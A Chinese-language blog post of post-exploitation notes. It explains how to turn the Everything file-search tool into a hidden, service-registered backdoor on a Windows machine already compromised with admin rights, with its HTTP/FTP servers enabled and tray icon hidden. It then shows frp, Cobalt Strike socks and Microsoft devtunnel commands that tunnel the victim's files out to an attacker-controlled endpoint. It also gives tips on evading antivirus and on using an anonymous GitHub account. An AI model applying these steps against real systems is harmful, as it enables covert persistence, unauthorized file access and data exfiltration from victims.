后渗透之everything使用
文章最后更新时间为:2024年04月12日 11:23:57
最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。
everything在后渗透中可以作为一个文件搜索下载工具使用,在一些场景中也可以作为免杀持久化后门使用,下面记录下实战使用方法,注意前提是已经拿到了管理员权限
1. 下载everything便携版
从官网下载即可 https://www.voidtools.com/zh-cn/
这里我一般下载便携版64位就能满足需求了,如果目标是32位机器的话记得下载32位的
2. 生成everything配置文件
双击打开everything.exe,然后在同目录下会生成一个everything.ini。我们需要生成一个配置好的everything.ini文件。
首先打开工具-选项,关闭显示托盘图标
然后开启http和ftp服务:
至此得到everything.ini
3. 上传everything并执行
将everything.exe和everything.ini上传到目标机器,然后执行命令安装启动client,并且将everything注册到系统服务中,开机会自动运行
# 这行命令用来开启进程,添加服务
everything.exe -install-client-service
# 这行命令用来关闭进程,删除服务
everything.exe -uninstall-client-service
附录上everything命令行参数说明
Everything.exe [filename] [options]
filename 指定打开的文件列表.
-? 显示帮助.
-admin 以管理员身份运行 "Everything".
-admin-server-share-links 在 ETP 连接中使用 \\Server\C$ 的链接形式.
-app-data 保存数据到应用程序数据.
-bookmark <name> 打开指定的书签.
-case 启用大小写区分.
-choose-language 显示语言选择窗口.
-choose-volumes 禁用自动索引.
-close 关闭当前搜索窗口.
-config <filename> 指定 ini 文件的文件名.
-connect <user:pass@host:port> 连接 ETP 服务器.
-console 显示调试控制台.
-copyto <filename1> <...> 显示使用指定文件名的多文件重命名工具.
-create-file-list <filename> <path> 创建一个路径的文件列表.
-create-file-list-exclude-files <list> 排除匹配筛选器的文件, 筛选器用分号分隔.
-create-file-list-exclude-folders <list> 排除匹配筛选器的文件夹, 筛选器用分号分隔.
-create-file-list-include-only-files <list> 仅包含匹配筛选器的文件, 筛选器用分号分隔.
-create-usn-journal <volume> <max-size-bytes> <allocation-delta-bytes>
-db <filename> 指定数据库的文件名.
-debug 显示调试控制台.
-debug-log 记录调试信息到本地硬盘.
-delete-usn-journal <volume> 删除 USN 日志.
-details 以详情视图显示结果.
-diacritics 启用变音符匹配.
-disable-run-as-admin 禁用以管理员身份运行.
-disable-update-notification 禁用程序打开时更新通知.
-drive-links 在 ETP 连接中使用 C: 的链接形式.
-edit <filename> 用文件列表编辑器打开文件列表.
-enable-run-as-admin 启用以管理员身份运行.
-enable-update-notification 启用程序打开时更新通知.
-exit 退出 "Everything".
-first-instance 仅当此为 "Everything" 第一个实例时运行.
-filelist <filename> 打开指定的文件列表.
-filename <filename> 搜索指定文件名的文件和文件夹.
-filter <name> 选择指定的搜索筛选器.
-focus-bottom-result 聚焦到底部结果.
-focus-last-run-result 聚焦到上次运行结果.
-focus-most-run-result 聚焦到最常运行结果.
-focus-results 聚焦到结果列表.
-focus-top-result 聚焦到顶部结果.
-ftp-links 在 ETP 连接中使用 ftp://host/C: 的链接形式.
-fullscreen 全屏显示搜索窗口.
-h 显示帮助.
-help 显示帮助.
-home 打开搜索首页.
-install <location> 安装 "Everything" 到指定路径.
-install-client-service 安装 "Everything" 客户服务.
-install-config <filename> 安装指定 ini 文件.
-install-desktop-shortcut 创建桌面快捷方式.
-install-efu-association 关联 EFU 文件.
-install-folder-context-menu 安装文件夹右键菜单.
-install-quick-launch-shortcut 添加到快速启动栏.
-install-run-on-system-startup 添加 "Everything" 到启动项.
-install-service 安装并开启 "Everything" 服务.
-install-service-pipe-name <name> 指定 "Everything" 服务管道名称.
-install-service-security-descriptor 指定管道安全描述.
-install-start-menu-shortcuts 添加 "Everything" 到开始菜单.
-install-url-protocol 安装 URL 协议.
-instance <name> 指定 "Everything" 的实例名.
-l 载入本地数据库.
-language <langID> 指定语言代码以变更界面语言.
-load-delay <milliseconds> 载入数据库之前, 指定以毫秒为单位的延迟.
-local 载入本地数据库.
-matchpath 启用完整路径匹配.
-maximized 最大化搜索窗口.
-minimized 最小化搜索窗口.
-moveto <filename1> <...> 显示使用指定文件名的多文件重命名工具.
-name-part <filename> 搜索文件部分文件名.
-newwindow 新建搜索窗口.
-noapp-data 保存数据到应用程序路径.
-nocase 禁用大小写区分.
-nodb 不保存或载入 "Everything" 数据库.
-nodiacritics 禁用变音符匹配.
-nofullscreen 窗口化显示搜索窗口.
-nomatchpath 禁用完整路径匹配.
-nomaximized 非最大化搜索窗口.
-nominimized 非最小化搜索窗口.
-nonewwindow 显示存在的搜索窗口.
-noontop 禁用总在最前.
-noregex 禁用正则表达式.
-noverbose 显示基本调制信息.
-nowholeword 禁用全字匹配.
-noww 禁用全字匹配.
-ontop 启用总在最前.
-p <path> 搜索指定的路径.
-parent <path> 搜索指定文件夹中的文件和子文件夹.
-parentpath <path> 搜索指定的父目录.
-path <path> 搜索指定的路径.
-quit 退出 "Everything".
-read-only 以只读模式载入数据库.
-regex 使用正则表达式.
-reindex 强制重建数据库.
-rename <filename1> <...> 显示使用指定文件名的多文件重命名工具.
-s <text> 搜索指定文本.
-search <text> 搜索指定文本.
-searchfilelist <filename> 在指定的文本搜索列表中的文件名.
-select <filename> 聚焦且选定指定结果.
-server-share-links 在 ETP 连接中使用 \\Server\C: 的链接形式.
-service-pipe-name <name> 链接到指定名称的安全管道.
-sort <name> 以指定名称排列.
-sort-ascending 升序排列.
-sort-descending 降序排列.
-start-client-service 开启 "Everything" 客户服务.
-start-service 开启 "Everything" 服务.
-startup 后台运行 "Everything".
-stop-client-service 停止 "Everything" 客户服务.
-stop-service 停止 "Everything" 服务.
-svc 以服务形式运行 "Everything".
-svc-pipe-name <name> 启用指定名称的管道服务器.
-svc-security-descriptor <sd> 启用指定安全描述的管道服务器.
-thumbnail-size <size> 指定图标大小.
-thumbnails 以图标视图显示结果.
-toggle-window 隐藏或显示前台搜索窗口.
-uninstall [path] 指定 "Everything" 路径来卸载.
-uninstall-client-service 移除 "Everything" 客户服务.
-uninstall-desktop-shortcut 移除桌面快捷方式.
-uninstall-efu-association 移除 EFU 文件关联.
-uninstall-folder-context-menu 移除文件夹右键菜单.
-uninstall-quick-launch-shortcut 从快速启动栏移除.
-uninstall-run-on-system-startup 移除 "Everything" 启动项.
-uninstall-service 移除 "Everything" 服务.
-uninstall-start-menu-shortcuts 从开始菜单中移除 "Everything" .
-uninstall-url-protocol 卸载 URL 协议.
-uninstall-user 移除用户文件.
-update 更新数据库.
-url <[es:]search> 搜索指定链接 ES: URL.
-verbose 显示所有调试信息.
-wholeword 启用全字匹配.
-ww 启用全字符匹配.
4. 验证是否生效
在目标上访问127.0.0.1:2088,可以查看网页已经可以打开,并且正常访问了
5. 端口转发
一般情况下,目标都没有公网ip,所以这个时候我们想访问everything也无法访问,需要将端口转发到公网上来,下面介绍三种常见的方式
5.1 frp
就是一个端口转发工具,还有另外一些常见的工具如nps、ew、lcx等等这里就不再概述了,原理都是一样的。因为frp是开源项目所以使用这个工具比较方便。
找一个公网服务器执行
./frps -p 7001 -t helloworld
然后将frpc上传到目标上,执行
frpc.exe tcp --proxy-name=test --server_addr=xxx.xxx.xxx.xxx --server-port 7001 --token=helloworld --local_ip=127.0.0.1 --local_port=2088 --remote_port=12088
ps: 不用的时候需要把frpc.exe进程关掉,不然会一直持续尝试连接server
taskkill /f /t /im frpc.exe
此时访问公网服务器的12088端口就相当于访问目标机器的2088端口了。
ps: 有时候需要做一下frpc的免杀
5.2 cs自带的socks server功能
cs自带socks server功能,可以在cs的server上启动一个socks代理,然后这个代理的流量会转发到目标机器的内网:
然后在浏览器上或者proxychains挂上socks代理,代理的ip为cs的server,端口为刚才cs页面选定的端口,此时就可以直接在浏览器访问目标的http服务了
ps: 但是这种方式效果不太好,网速比较慢
5.3 利用devtunnel实现转发
微软官方提供端口转发的能力,文档可以见https://learn.microsoft.com/zh-cn/azure/developer/dev-tunnels/cli-commands
首先在官方下载devtunnel.exe : https://aka.ms/TunnelsCliDownload/win-x64
然后将devtunnel.exe上传到目标机器,执行
devtunnel.exe user login -g -d
生成一个code,然后在本地打开github.com/login/device,使用github账号绑定一下这个code。(这里注意要新建一个匿名的github账号)
绑定完成后,在目标机器上执行
devtunnel.exe host -p 2088
执行完毕后,就会返回一个链接,打开这个链接,就等于访问目标机器的2088端口了。
ps: 这种方式适用于没有服务器的情况,同时devtunnel.exe有官方签名,天然免杀,缺点就是需要注册一个新的github账号,且网速一般,隧道转发的连接数也有限制
fdsfsdf